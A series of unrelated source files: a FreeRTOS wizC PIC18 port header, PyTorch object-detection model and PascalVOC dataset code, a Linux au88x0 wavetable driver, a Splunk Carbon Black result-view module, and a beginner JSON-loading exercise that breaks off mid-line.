nesting count as we are leaving a \ * critical section. \ */ \ ucCriticalNesting--; \ } \ \ /* \ * If the nesting level has reached zero then \ * interrupts should be re-enabled. \ */ \ if( ucCriticalNesting == portNO_CRITICAL_SECTION_NESTING ) \ { \ portENABLE_INTERRUPTS(); \ } \ } while(0) /*-----------------------------------------------------------*/ /* * The minimal stacksize is calculated on the first reference of * portMINIMAL_STACK_SIZE. Some input to this calculation is * compiletime determined, other input is port-defined (see port.c) */ extern uint16_t usPortCALCULATE_MINIMAL_STACK_SIZE( void ); extern uint16_t usCalcMinStackSize; #define portMINIMAL_STACK_SIZE \ ((usCalcMinStackSize == 0) \ ? usPortCALCULATE_MINIMAL_STACK_SIZE() \ : usCalcMinStackSize ) /* * WizC uses a downgrowing stack */ #define portSTACK_GROWTH ( -1 ) /*-----------------------------------------------------------*/ /* * Macro's that pushes all the registers that make up the context of a task onto * the stack, then saves the new top of stack into the TCB. TOSU and TBLPTRU * are only saved/restored on devices with more than 64kB (32k Words) ROM. * * The stackpointer is helt by WizC in FSR2 and points to the first free byte. * WizC uses a "downgrowing" stack. There is no framepointer. * * We keep track of the interruptstatus using ucCriticalNesting. When this * value equals zero, interrupts have to be enabled upon exit from the * portRESTORE_CONTEXT macro. * * If this is called from an ISR then the interrupt enable bits must have been * set for the ISR to ever get called. Therefore we want to save * ucCriticalNesting with value zero. This means the interrupts will again be * re-enabled when the interrupted task is switched back in. * * If this is called from a manual context switch (i.e. from a call to yield), * then we want to keep the current value of ucCritialNesting so it is restored * with its current value. This allows a yield from within a critical section. * * The compiler uses some locations at the bottom of RAM for temporary * storage. The compiler may also have been instructed to optimize * function-parameters and local variables to global storage. The compiler * uses an area called LocOpt for this wizC feature. * The total overheadstorage has to be saved in it's entirety as part of * a task context. These macro's store/restore from data address 0x0000 to * (OVERHEADPAGE0-LOCOPTSIZE+MAXLOCOPTSIZE - 1). * OVERHEADPAGE0, LOCOPTSIZE and MAXLOCOPTSIZE are compiler-generated * assembler definitions. */ #define portSAVE_CONTEXT( ucInterruptForced ) \ do \ { \ portDISABLE_INTERRUPTS(); \ \ _Pragma("asm") \ ; \ ; Push the relevant SFR's onto the task's stack \ ; \ movff STATUS,POSTDEC2 \ movff WREG,POSTDEC2 \ movff BSR,POSTDEC2 \ movff PRODH,POSTDEC2 \ movff PRODL,POSTDEC2 \ movff FSR0H,POSTDEC2 \ movff FSR0L,POSTDEC2 \ movff FSR1H,POSTDEC2 \ movff FSR1L,POSTDEC2 \ movff TABLAT,POSTDEC2 \ if __ROMSIZE > 0x8000 \ movff TBLPTRU,POSTDEC2 \ endif \ movff TBLPTRH,POSTDEC2 \ movff TBLPTRL,POSTDEC2 \ if __ROMSIZE > 0x8000 \ movff PCLATU,POSTDEC2 \ endif \ movff PCLATH,POSTDEC2 \ ; \ ; Store the compiler-scratch-area as described above. \ ; \ movlw OVERHEADPAGE0-LOCOPTSIZE+MAXLOCOPTSIZE \ clrf FSR0L,ACCESS \ clrf FSR0H,ACCESS \ _rtos_S1: \ movff POSTINC0,POSTDEC2 \ decfsz WREG,W,ACCESS \ SMARTJUMP _rtos_S1 \ ; \ ; Save the pic call/return-stack belonging to the \ ; current task by copying it to the task's software- \ ; stack. We save the hardware stack pointer (which \ ; is the number of addresses on the stack) in the \ ; W-register first because we need it later and it \ ; is modified in the save-loop by executing pop's. \ ; After the loop the W-register is stored on the \ ; stack, too. \ ; \ movf STKPTR,W,ACCESS \ bz _rtos_s3 \ _rtos_S2: \ if __ROMSIZE > 0x8000 \ movff TOSU,POSTDEC2 \ endif \ movff TOSH,POSTDEC2 \ movff TOSL,POSTDEC2 \ pop \ tstfsz STKPTR,ACCESS \ SMARTJUMP _rtos_S2 \ _rtos_s3: \ movwf POSTDEC2,ACCESS \ ; \ ; Next the value for ucCriticalNesting used by the \ ; task is stored on the stack. When \ ; (ucInterruptForced == portINTERRUPTS_FORCED), we save \ ; it as 0 (portNO_CRITICAL_SECTION_NESTING). \ ; \ if ucInterruptForced == portINTERRUPTS_FORCED \ clrf POSTDEC2,ACCESS \ else \ movff ucCriticalNesting,POSTDEC2 \ endif \ ; \ ; Save the new top of the software stack in the TCB. \ ; \ movff pxCurrentTCB,FSR0L \ movff pxCurrentTCB+1,FSR0H \ movff FSR2L,POSTINC0 \ movff FSR2H,POSTINC0 \ _Pragma("asmend") \ } while(0) /************************************************************/ /* * This is the reverse of portSAVE_CONTEXT. */ #define portRESTORE_CONTEXT() \ do \ { \ _Pragma("asm") \ ; \ ; Set FSR0 to point to pxCurrentTCB->pxTopOfStack. \ ; \ movff pxCurrentTCB,FSR0L \ movff pxCurrentTCB+1,FSR0H \ ; \ ; De-reference FSR0 to set the address it holds into \ ; FSR2 (i.e. *( pxCurrentTCB->pxTopOfStack ) ). FSR2 \ ; is used by wizC as stackpointer. \ ; \ movff POSTINC0,FSR2L \ movff POSTINC0,FSR2H \ ; \ ; Next, the value for ucCriticalNesting used by the \ ; task is retrieved from the stack. \ ; \ movff PREINC2,ucCriticalNesting \ ; \ ; Rebuild the pic call/return-stack. The number of \ ; return addresses is the next item on the task stack. \ ; Save this number in PRODL. Then fetch the addresses \ ; and store them on the hardwarestack. \ ; The datasheets say we can't use movff here... \ ; \ movff PREINC2,PRODL // Use PRODL as tempregister \ clrf STKPTR,ACCESS \ _rtos_R1: \ push \ movf PREINC2,W,ACCESS \ movwf TOSL,ACCESS \ movf PREINC2,W,ACCESS \ movwf TOSH,ACCESS \ if __ROMSIZE > 0x8000 \ movf PREINC2,W,ACCESS \ movwf TOSU,ACCESS \ else \ clrf TOSU,ACCESS \ endif \ decfsz PRODL,F,ACCESS \ SMARTJUMP _rtos_R1 \ ; \ ; Restore the compiler's working storage area to page 0 \ ; \ movlw OVERHEADPAGE0-LOCOPTSIZE+MAXLOCOPTSIZE \ movwf FSR0L,ACCESS \ clrf FSR0H,ACCESS \ _rtos_R2: \ decf FSR0L,F,ACCESS \ movff PREINC2,INDF0 \ tstfsz FSR0L,ACCESS \ SMARTJUMP _rtos_R2 \ ; \ ; Restore the sfr's forming the tasks context. \ ; We cannot yet restore bsr, w and status because \ ; we need these registers for a final test. \ ; \ movff PREINC2,PCLATH \ if __ROMSIZE > 0x8000 \ movff PREINC2,PCLATU \ else \ clrf PCLATU,ACCESS \ endif \ movff PREINC2,TBLPTRL \ movff PREINC2,TBLPTRH \ if __ROMSIZE > 0x8000 \ movff PREINC2,TBLPTRU \ else \ clrf TBLPTRU,ACCESS \ endif \ movff PREINC2,TABLAT \ movff PREINC2,FSR1L \ movff PREINC2,FSR1H \ movff PREINC2,FSR0L \ movff PREINC2,FSR0H \ movff PREINC2,PRODL \ movff PREINC2,PRODH \ ; \ ; The return from portRESTORE_CONTEXT() depends on \ ; the value of ucCriticalNesting. When it is zero, \ ; interrupts need to be enabled. This is done via a \ ; retfie instruction because we need the \ ; interrupt-enabling and the return to the restored \ ; task to be uninterruptable. \ ; Because bsr, status and W are affected by the test \ ; they are restored after the test. \ ; \ movlb ucCriticalNesting>>8 \ tstfsz ucCriticalNesting,BANKED \ SMARTJUMP _rtos_R4 \ _rtos_R3: \ movff PREINC2,BSR \ movff PREINC2,WREG \ movff PREINC2,STATUS \ retfie 0 ; Return enabling interrupts \ _rtos_R4: \ movff PREINC2,BSR \ movff PREINC2,WREG \ movff PREINC2,STATUS \ return 0 ; Return without affecting interrupts \ _Pragma("asmend") \ } while(0) /*-----------------------------------------------------------*/ #define portTICK_PERIOD_MS ( ( TickType_t ) 1000 / configTICK_RATE_HZ ) /*-----------------------------------------------------------*/ extern void vPortYield( void ); #define portYIELD() vPortYield() #define portNOP() _Pragma("asm") \ nop \ _Pragma("asmend") /*-----------------------------------------------------------*/ #define portTASK_FUNCTION( xFunction, pvParameters ) \ void pointed xFunction( void *pvParameters ) \ _Pragma(asmfunc xFunction) #define portTASK_FUNCTION_PROTO portTASK_FUNCTION /*-----------------------------------------------------------*/ #define volatile #define register #endif /* PORTMACRO_H */
import torch import torch.nn as nn from .py_utils import kp_line, AELossLine, _neg_loss, convolution, residual from .py_utils import TopPool, BottomPool, LeftPool, RightPool class pool(nn.Module): def __init__(self, dim, pool1, pool2): super(pool, self).__init__() self.p1_conv1 = convolution(3, dim, 128) self.p2_conv1 = convolution(3, dim, 128) self.p_conv1 = nn.Conv2d(128, dim, (3, 3), padding=(1, 1), bias=False) self.p_bn1 = nn.BatchNorm2d(dim) self.conv1 = nn.Conv2d(dim, dim, (1, 1), bias=False) self.bn1 = nn.BatchNorm2d(dim) self.relu1 = nn.ReLU(inplace=True) self.conv2 = convolution(3, dim, dim) self.pool1 = pool1() self.pool2 = pool2() def forward(self, x): # pool 1 p1_conv1 = self.p1_conv1(x) pool1 = self.pool1(p1_conv1) # pool 2 p2_conv1 = self.p2_conv1(x) pool2 = self.pool2(p2_conv1) # pool 1 + pool 2 p_conv1 = self.p_conv1(pool1 + pool2) p_bn1 = self.p_bn1(p_conv1) conv1 = self.conv1(x) bn1 = self.bn1(conv1) relu1 = self.relu1(p_bn1 + bn1) conv2 = self.conv2(relu1) return conv2 class pool_cross(nn.Module): def __init__(self, dim, pool1, pool2, pool3, pool4): super(pool_cross, self).__init__() self.p1_conv1 = convolution(3, dim, 128) self.p2_conv1 = convolution(3, dim, 128) self.p_conv1 = nn.Conv2d(128, dim, (3, 3), padding=(1, 1), bias=False) self.p_bn1 = nn.BatchNorm2d(dim) self.conv1 = nn.Conv2d(dim, dim, (1, 1), bias=False) self.bn1 = nn.BatchNorm2d(dim) self.relu1 = nn.ReLU(inplace=True) self.conv2 = convolution(3, dim, dim) self.pool1 = pool1() self.pool2 = pool2() self.pool3 = pool3() self.pool4 = pool4() def forward(self, x): # pool 1 p1_conv1 = self.p1_conv1(x) pool1 = self.pool1(p1_conv1) pool1 = self.pool3(pool1) # pool 2 p2_conv1 = self.p2_conv1(x) pool2 = self.pool2(p2_conv1) pool2 = self.pool4(pool2) # pool 1 + pool 2 p_conv1 = self.p_conv1(pool1 + pool2) p_bn1 = self.p_bn1(p_conv1) conv1 = self.conv1(x) bn1 = self.bn1(conv1) relu1 = self.relu1(p_bn1 + bn1) conv2 = self.conv2(relu1) return conv2 class tl_pool(pool): def __init__(self, dim): super(tl_pool, self).__init__(dim, TopPool, LeftPool) class br_pool(pool): def __init__(self, dim): super(br_pool, self).__init__(dim, BottomPool, RightPool) class center_pool(pool_cross): def __init__(self, dim): super(center_pool, self).__init__(dim, TopPool, LeftPool, BottomPool, RightPool) def make_tl_layer(dim): return tl_pool(dim) def make_br_layer(dim): return br_pool(dim) def make_pool_layer(dim): return nn.Sequential() def make_ct_layer(dim): return center_pool(dim) def make_hg_layer(kernel, dim0, dim1, mod, layer=convolution, **kwargs): layers = [layer(kernel, dim0, dim1, stride=2)] layers += [layer(kernel, dim1, dim1) for _ in range(mod - 1)] return nn.Sequential(*layers) class model(kp_line): def __init__(self, db): n = 5 dims = [256, 256, 384, 384, 384, 512] modules = [2, 2, 2, 2, 2, 4] out_dim = 1 super(model, self).__init__( n, 2, dims, modules, out_dim, make_center_layer=make_ct_layer, make_pool_layer=make_pool_layer, make_hg_layer=make_hg_layer, kp_layer=residual, cnv_dim=256 ) loss = AELossLine(pull_weight=1e-1, push_weight=1e-1, focal_loss=_neg_loss) from azureml.core.compute import ComputeTarget
from __future__ import absolute_import from __future__ import division from __future__ import print_function import json import os import numpy as np import pycocotools.coco as coco import torch.utils.data as data class PascalVOC(data.Dataset): num_classes = 20 default_resolution = [384, 384] mean = np.array([0.485, 0.456, 0.406], dtype=np.float32).reshape(1, 1, 3) std = np.array([0.229, 0.224, 0.225], dtype=np.float32).reshape(1, 1, 3) def __init__(self, opt, split): super(PascalVOC, self).__init__() self.data_dir = os.path.join(opt.data_dir, 'voc') self.img_dir = os.path.join(self.data_dir, 'images') _ann_name = {'train': 'trainval0712', 'val': 'test2007'} self.annot_path = os.path.join( self.data_dir, 'annotations', 'pascal_{}.json').format(_ann_name[split]) self.max_objs = 50 self.class_name = ['__background__', "aeroplane", "bicycle", "bird", "boat", "bottle", "bus", "car", "cat", "chair", "cow", "diningtable", "dog", "horse", "motorbike", "person", "pottedplant", "sheep", "sofa", "train", "tvmonitor"] self._valid_ids = np.arange(1, 21, dtype=np.int32) self.cat_ids = {v: i for i, v in enumerate(self._valid_ids)} self._data_rng = np.random.RandomState(123) self._eig_val = np.array([0.2141788, 0.01817699, 0.00341571], dtype=np.float32) self._eig_vec = np.array([ [-0.58752847, -0.69563484, 0.41340352], [-0.5832747, 0.00994535, -0.81221408], [-0.56089297, 0.71832671, 0.41158938] ], dtype=np.float32) self.split = split self.opt = opt print('==> initializing pascal {} data.'.format(_ann_name[split])) self.coco = coco.COCO(self.annot_path) self.images = sorted(self.coco.getImgIds()) self.num_samples = len(self.images) print('Loaded {} {} samples'.format(split, self.num_samples)) def _to_float(self, x): return float("{:.2f}".format(x)) def convert_eval_format(self, all_bboxes): detections = [[[] for __ in range(self.num_samples)] \ for _ in range(self.num_classes + 1)] for i in range(self.num_samples): img_id = self.images[i] for j in range(1, self.num_classes + 1): if isinstance(all_bboxes[img_id][j], np.ndarray): detections[j][i] = all_bboxes[img_id][j].tolist() else: detections[j][i] = all_bboxes[img_id][j] return detections def __len__(self): return self.num_samples def save_results(self, results, save_dir): json.dump(self.convert_eval_format(results), open('{}/results.json'.format(save_dir), 'w')) def run_eval(self, results, save_dir): # result_json = os.path.join(save_dir, "results.json") # detections = self.convert_eval_format(results) # json.dump(detections, open(result_json, "w")) self.save_results(results, save_dir) os.system('python tools/reval.py ' + \ '{}/results.json'.format(save_dir))
/* * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Library General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ /* * Someday its supposed to make use of the WT DMA engine * for a Wavetable synthesizer. */ #include "au88x0.h" #include "au88x0_wt.h" static void vortex_fifo_setwtvalid(vortex_t * vortex, int fifo, int en); static void vortex_connection_adb_mixin(vortex_t * vortex, int en, unsigned char channel, unsigned char source, unsigned char mixin); static void vortex_connection_mixin_mix(vortex_t * vortex, int en, unsigned char mixin, unsigned char mix, int a); static void vortex_fifo_wtinitialize(vortex_t * vortex, int fifo, int j); static int vortex_wt_SetReg(vortex_t * vortex, unsigned char reg, int wt, unsigned long val); /* WT */ /* Put 2 WT channels together for one stereo interlaced channel. */ static void vortex_wt_setstereo(vortex_t * vortex, u32 wt, u32 stereo) { int temp; //temp = hwread(vortex->mmio, 0x80 + ((wt >> 0x5)<< 0xf) + (((wt & 0x1f) >> 1) << 2)); temp = hwread(vortex->mmio, WT_STEREO(wt)); temp = (temp & 0xfe) | (stereo & 1); //hwwrite(vortex->mmio, 0x80 + ((wt >> 0x5)<< 0xf) + (((wt & 0x1f) >> 1) << 2), temp); hwwrite(vortex->mmio, WT_STEREO(wt), temp); } /* Join to mixdown route. */ static void vortex_wt_setdsout(vortex_t * vortex, u32 wt, int en) { int temp; /* There is one DSREG register for each bank (32 voices each). */ temp = hwread(vortex->mmio, WT_DSREG((wt >= 0x20) ? 1 : 0)); if (en) temp |= (1 << (wt & 0x1f)); else temp &= (1 << ~(wt & 0x1f)); hwwrite(vortex->mmio, WT_DSREG((wt >= 0x20) ? 1 : 0), temp); } /* Setup WT route. */ static int vortex_wt_allocroute(vortex_t * vortex, int wt, int nr_ch) { wt_voice_t *voice = &(vortex->wt_voice[wt]); int temp; //FIXME: WT audio routing. if (nr_ch) { vortex_fifo_wtinitialize(vortex, wt, 1); vortex_fifo_setwtvalid(vortex, wt, 1); vortex_wt_setstereo(vortex, wt, nr_ch - 1); } else vortex_fifo_setwtvalid(vortex, wt, 0); /* Set mixdown mode. */ vortex_wt_setdsout(vortex, wt, 1); /* Set other parameter registers. */ hwwrite(vortex->mmio, WT_SRAMP(0), 0x880000); //hwwrite(vortex->mmio, WT_GMODE(0), 0xffffffff); #ifdef CHIP_AU8830 hwwrite(vortex->mmio, WT_SRAMP(1), 0x880000); //hwwrite(vortex->mmio, WT_GMODE(1), 0xffffffff); #endif hwwrite(vortex->mmio, WT_PARM(wt, 0), 0); hwwrite(vortex->mmio, WT_PARM(wt, 1), 0); hwwrite(vortex->mmio, WT_PARM(wt, 2), 0); temp = hwread(vortex->mmio, WT_PARM(wt, 3)); printk(KERN_DEBUG "vortex: WT PARM3: %x\n", temp); //hwwrite(vortex->mmio, WT_PARM(wt, 3), temp); hwwrite(vortex->mmio, WT_DELAY(wt, 0), 0); hwwrite(vortex->mmio, WT_DELAY(wt, 1), 0); hwwrite(vortex->mmio, WT_DELAY(wt, 2), 0); hwwrite(vortex->mmio, WT_DELAY(wt, 3), 0); printk(KERN_DEBUG "vortex: WT GMODE: %x\n", hwread(vortex->mmio, WT_GMODE(wt))); hwwrite(vortex->mmio, WT_PARM(wt, 2), 0xffffffff); hwwrite(vortex->mmio, WT_PARM(wt, 3), 0xcff1c810); voice->parm0 = voice->parm1 = 0xcfb23e2f; hwwrite(vortex->mmio, WT_PARM(wt, 0), voice->parm0); hwwrite(vortex->mmio, WT_PARM(wt, 1), voice->parm1); printk(KERN_DEBUG "vortex: WT GMODE 2 : %x\n", hwread(vortex->mmio, WT_GMODE(wt))); return 0; } static void vortex_wt_connect(vortex_t * vortex, int en) { int i, ii, mix; #define NR_WTROUTES 6 #ifdef CHIP_AU8830 #define NR_WTBLOCKS 2 #else #define NR_WTBLOCKS 1 #endif for (i = 0; i < NR_WTBLOCKS; i++) { for (ii = 0; ii < NR_WTROUTES; ii++) { mix = vortex_adb_checkinout(vortex, vortex->fixed_res, en, VORTEX_RESOURCE_MIXIN); vortex->mixwt[(i * NR_WTROUTES) + ii] = mix; vortex_route(vortex, en, 0x11, ADB_WTOUT(i, ii + 0x20), ADB_MIXIN(mix)); vortex_connection_mixin_mix(vortex, en, mix, vortex->mixplayb[ii % 2], 0); if (VORTEX_IS_QUAD(vortex)) vortex_connection_mixin_mix(vortex, en, mix, vortex->mixplayb[2 + (ii % 2)], 0); } } for (i = 0; i < NR_WT; i++) { hwwrite(vortex->mmio, WT_RUN(i), 1); } } /* Read WT Register */ #if 0 static int vortex_wt_GetReg(vortex_t * vortex, char reg, int wt) { //int eax, esi; if (reg == 4) { return hwread(vortex->mmio, WT_PARM(wt, 3)); } if (reg == 7) { return hwread(vortex->mmio, WT_GMODE(wt)); } return 0; } /* WT hardware abstraction layer generic register interface. */ static int vortex_wt_SetReg2(vortex_t * vortex, unsigned char reg, int wt, unsigned short val) { /* int eax, edx; if (wt >= NR_WT) // 0x40 -> NR_WT return 0; if ((reg - 0x20) > 0) { if ((reg - 0x21) != 0) return 0; eax = ((((b & 0xff) << 0xb) + (edx & 0xff)) << 4) + 0x208; // param 2 } else { eax = ((((b & 0xff) << 0xb) + (edx & 0xff)) << 4) + 0x20a; // param 3 } hwwrite(vortex->mmio, eax, c); */ return 1; } /*public: static void __thiscall CWTHal::SetReg(unsigned char,int,unsigned long) */ #endif static int vortex_wt_SetReg(vortex_t * vortex, unsigned char reg, int wt, unsigned long val) { int ecx; if ((reg == 5) || ((reg >= 7) && (reg <= 10)) || (reg == 0xc)) { if (wt >= (NR_WT / NR_WT_PB)) { printk ("vortex: WT SetReg: bank out of range. reg=0x%x, wt=%d\n", reg, wt); return 0; } } else { if (wt >= NR_WT) { printk(KERN_ERR "vortex: WT SetReg: voice out of range\n"); return 0; } } if (reg > 0xc) return 0; switch (reg) { /* Voice specific parameters */ case 0: /* running */ //printk("vortex: WT SetReg(0x%x) = 0x%08x\n", WT_RUN(wt), (int)val); hwwrite(vortex->mmio, WT_RUN(wt), val); return 0xc; break; case 1: /* param 0 */ //printk("vortex: WT SetReg(0x%x) = 0x%08x\n", WT_PARM(wt,0), (int)val); hwwrite(vortex->mmio, WT_PARM(wt, 0), val); return 0xc; break; case 2: /* param 1 */ //printk("vortex: WT SetReg(0x%x) = 0x%08x\n", WT_PARM(wt,1), (int)val); hwwrite(vortex->mmio, WT_PARM(wt, 1), val); return 0xc; break; case 3: /* param 2 */ //printk("vortex: WT SetReg(0x%x) = 0x%08x\n", WT_PARM(wt,2), (int)val); hwwrite(vortex->mmio, WT_PARM(wt, 2), val); return 0xc; break; case 4: /* param 3 */ //printk("vortex: WT SetReg(0x%x) = 0x%08x\n", WT_PARM(wt,3), (int)val); hwwrite(vortex->mmio, WT_PARM(wt, 3), val); return 0xc; break; case 6: /* mute */ //printk("vortex: WT SetReg(0x%x) = 0x%08x\n", WT_MUTE(wt), (int)val); hwwrite(vortex->mmio, WT_MUTE(wt), val); return 0xc; break; case 0xb: { /* delay */ //printk("vortex: WT SetReg(0x%x) = 0x%08x\n", WT_DELAY(wt,0), (int)val); hwwrite(vortex->mmio, WT_DELAY(wt, 3), val); hwwrite(vortex->mmio, WT_DELAY(wt, 2), val); hwwrite(vortex->mmio, WT_DELAY(wt, 1), val); hwwrite(vortex->mmio, WT_DELAY(wt, 0), val); return 0xc; } break; /* Global WT block parameters */ case 5: /* sramp */ ecx = WT_SRAMP(wt); break; case 8: /* aramp */ ecx = WT_ARAMP(wt); break; case 9: /* mramp */ ecx = WT_MRAMP(wt); break; case 0xa: /* ctrl */ ecx = WT_CTRL(wt); break; case 0xc: /* ds_reg */ ecx = WT_DSREG(wt); break; default: return 0; break; } //printk("vortex: WT SetReg(0x%x) = 0x%08x\n", ecx, (int)val); hwwrite(vortex->mmio, ecx, val); return 1; } static void vortex_wt_init(vortex_t * vortex) { int var4, var8, varc, var10 = 0, edi; var10 &= 0xFFFFFFE3; var10 |= 0x22; var10 &= 0xFFFFFEBF; var10 |= 0x80; var10 |= 0x200; var10 &= 0xfffffffe; var10 &= 0xfffffbff; var10 |= 0x1800; // var10 = 0x1AA2 var4 = 0x10000000; varc = 0x00830000; var8 = 0x00830000; /* Init Bank registers. */ for (edi = 0; edi < (NR_WT / NR_WT_PB); edi++) { vortex_wt_SetReg(vortex, 0xc, edi, 0); /* ds_reg */ vortex_wt_SetReg(vortex, 0xa, edi, var10); /* ctrl */ vortex_wt_SetReg(vortex, 0x9, edi, var4); /* mramp */ vortex_wt_SetReg(vortex, 0x8, edi, varc); /* aramp */ vortex_wt_SetReg(vortex, 0x5, edi, var8); /* sramp */ } /* Init Voice registers. */ for (edi = 0; edi < NR_WT; edi++) { vortex_wt_SetReg(vortex, 0x4, edi, 0); /* param 3 0x20c */ vortex_wt_SetReg(vortex, 0x3, edi, 0); /* param 2 0x208 */ vortex_wt_SetReg(vortex, 0x2, edi, 0); /* param 1 0x204 */ vortex_wt_SetReg(vortex, 0x1, edi, 0); /* param 0 0x200 */ vortex_wt_SetReg(vortex, 0xb, edi, 0); /* delay 0x400 - 0x40c */ } var10 |= 1; for (edi = 0; edi < (NR_WT / NR_WT_PB); edi++) vortex_wt_SetReg(vortex, 0xa, edi, var10); /* ctrl */ } /* Extract of CAdbTopology::SetVolume(struct _ASPVOLUME *) */ #if 0 static void vortex_wt_SetVolume(vortex_t * vortex, int wt, int vol[]) { wt_voice_t *voice = &(vortex->wt_voice[wt]); int ecx = vol[1], eax = vol[0]; /* This is pure guess */ voice->parm0 &= 0xff00ffff; voice->parm0 |= (vol[0] & 0xff) << 0x10; voice->parm1 &= 0xff00ffff; voice->parm1 |= (vol[1] & 0xff) << 0x10; /* This is real */ hwwrite(vortex, WT_PARM(wt, 0), voice->parm0); hwwrite(vortex, WT_PARM(wt, 1), voice->parm0); if (voice->this_1D0 & 4) { eax >>= 8; ecx = eax; if (ecx < 0x80) ecx = 0x7f; voice->parm3 &= 0xFFFFC07F; voice->parm3 |= (ecx & 0x7f) << 7; voice->parm3 &= 0xFFFFFF80; voice->parm3 |= (eax & 0x7f); } else { voice->parm3 &= 0xFFE03FFF; voice->parm3 |= (eax & 0xFE00) << 5; } hwwrite(vortex, WT_PARM(wt, 3), voice->parm3); } /* Extract of CAdbTopology::SetFrequency(unsigned long arg_0) */ static void vortex_wt_SetFrequency(vortex_t * vortex, int wt, unsigned int sr) { wt_voice_t *voice = &(vortex->wt_voice[wt]); long int eax, edx; //FIXME: 64 bit operation. eax = ((sr << 0xf) * 0x57619F1) & 0xffffffff; edx = (((sr << 0xf) * 0x57619F1)) >> 0x20; edx >>= 0xa; edx <<= 1; if (edx) { if (edx & 0x0FFF80000) eax = 0x7fff; else { edx <<= 0xd; eax = 7; while ((edx & 0x80000000) == 0) { edx <<= 1; eax--; if (eax == 0) ; break; } if (eax) edx <<= 1; eax <<= 0xc; edx >>= 0x14; eax |= edx; } } else eax = 0; voice->parm0 &= 0xffff0001; voice->parm0 |= (eax & 0x7fff) << 1; voice->parm1 = voice->parm0 | 1; // Wt: this_1D4 //AuWt::WriteReg((ulong)(this_1DC<<4)+0x200, (ulong)this_1E4); //AuWt::WriteReg((ulong)(this_1DC<<4)+0x204, (ulong)this_1E8); hwwrite(vortex->mmio, WT_PARM(wt, 0), voice->parm0); hwwrite(vortex->mmio, WT_PARM(wt, 1), voice->parm1); } #endif /* End of File */
# File: carbonblack_view.py # Copyright (c) 2016-2020 Splunk Inc. # # Licensed under Apache 2.0 (https://www.apache.org/licenses/LICENSE-2.0.txt) # import carbonblack_consts as consts # pylint: disable=E1601 def fill_table(query_type, context, data, result): # rows is an array or rows :-) rows = context['rows'] # The Headers if (query_type == consts.CARBONBLACK_QUERY_TYPE_BINARY): context['headers'] = ["MD5", "Endpoints", "Signed", "Company Name", "Product Name", "Is Executable", "File Length", "Filenames"] else: context['headers'] = ["Process Name", "Process Path", "MD5", "User Name", "Host Name", "Start", "PID", "Parent PID", "Host Type", "OS", "Unique ID", "Cmdline"] # every action result will have a single data data_rows = data['results'] for i, data_row in enumerate(data_rows): new_row = [] rows.append(new_row) # Append the various columns in the row if (query_type == consts.CARBONBLACK_QUERY_TYPE_BINARY): # MD5 new_row.append({'value': data_row['md5'], 'contains': ['md5'], 'id': result.id, 'offset': i}) # Endpoints new_row.append({'value': '\n'.join(data_row['endpoint'])}) # Signed new_row.append({'value': data_row['signed']}) # Company Name new_row.append({'value': data_row['company_name']}) # Product Name new_row.append({'value': data_row['product_name']}) # Image Type new_row.append({'value': data_row['is_executable_image']}) # Len new_row.append({'value': data_row['orig_mod_len']}) # Filenames new_row.append({'value': '\n'.join(data_row['observed_filename'])}) elif(query_type == consts.CARBONBLACK_QUERY_TYPE_PROCESS): # Process Name new_row.append({'value': data_row['process_name'], 'contains': ['process name'], 'id': result.id, 'offset': i}) # Process Path new_row.append({'value': data_row['path'], 'contains': ['file path']}) # MD5 new_row.append({'value': data_row['process_md5'], 'contains': ['md5']}) # User Name new_row.append({'value': data_row['username'], 'contains': ['user name']}) # Host Name new_row.append({'value': data_row['hostname'], 'contains': ['host name']}) # Start new_row.append({'value': data_row['start']}) # PID new_row.append({'value': data_row['process_pid'], 'contains': ['pid']}) # Parent PID new_row.append({'value': data_row['parent_pid']}) # Host Type new_row.append({'value': data_row['host_type']}) # OS new_row.append({'value': data_row['os_type']}) # Unique ID new_row.append({'value': data_row['unique_id']}) # Cmdline new_row.append({'value': data_row['cmdline']}) return True def query_results(provides, all_results, context): context['rows'] = [] for summary, action_results in all_results: for result in action_results: # The query and type parameter = result.get_param() context['query'] = parameter['query'] context['type'] = parameter['type'].capitalize() data = result.get_data() if (not data): continue # every action result will have a single data # fill it fill_table(parameter['type'], context, data[0], result) return '/widgets/generic_table.html' def hunt_file(provides, all_results, context): context['rows'] = [] for summary, action_results in all_results: # Each result is going to represent two tables for result in action_results: parameter = result.get_param() if (not parameter): continue query_type = parameter.get('type') if (not query_type): continue data = result.get_data() if (not data): continue # get the binary data query_data = data[0][query_type] context['query'] = 'md5:{0}'.format(parameter['hash']) context['type'] = query_type.capitalize() # fill it fill_table(query_type, context, query_data, result) return '/widgets/generic_table.html' def get_file_detail_ctx(result): ctx_result = {} param = result.get_param() ctx_result['md5'] = param.get('hash') message = result.get_message() if (message) and ('Not Found' in message): ctx_result['message'] = message print message data = result.get_data() if (not data): return ctx_result data = data[0] if (not data): return ctx_result ctx_result['data'] = data ctx_result['id'] = result.id # work on the endpoint list endpoints = data.get('file_details', {}).get('endpoint') if (endpoints): data['file_details']['endpoint'] = [dict(zip(('host', 'sensor'), x.split('|'))) for x in endpoints] summary = result.get_summary() if (summary): ctx_result['cb_url'] = summary.get('cb_url') file_type = summary.get('file_type') if (file_type): contains = [str(x) for x in file_type.split(',')] contains.append('vault id') ctx_result['vault_contains'] = contains return ctx_result def display_file_details(provides, all_app_runs, context): context['results'] = results = [] for summary, action_results in all_app_runs: for result in action_results: ctx_result = get_file_detail_ctx(result) if (not ctx_result): continue results.append(ctx_result) print context return 'cb_file_details.html'
import test_data import json #Creates and returns a GameLibrary object(defined in test_data) from loaded json_data def make_game_library_from_json( json_data ): #Initialize a new GameLibrary game_library = test_data.GameLibrary() ### Begin Add Code Here ### #Loop through the json_data #Create a new Game object from the json_data by reading # title # year # platform (which requires reading name and launch_year) #Add that Game object to the game_library ### End Add Code Here ### for game in data['Game List']: gamePlatform = test_data.Platform(game['platform']['name'], game['platform']['launch year']); gameInstance = test_data.Game(game['title'], gamePlatform, game['Year']) game_library.add_game(gameInstance) return game_library #Part 2 input_json_file = "data/test_data.json" ### Begin Add Code Here ### #Open the file specified by input_json_file #Use the json module to load the data from the file #Use make_game_library_from_json(json_data) to convert the data to GameLibrary data #Print out the resulting GameLibrary data using print() ### End Add Code Here ### with open(input_json_file) as f: data = 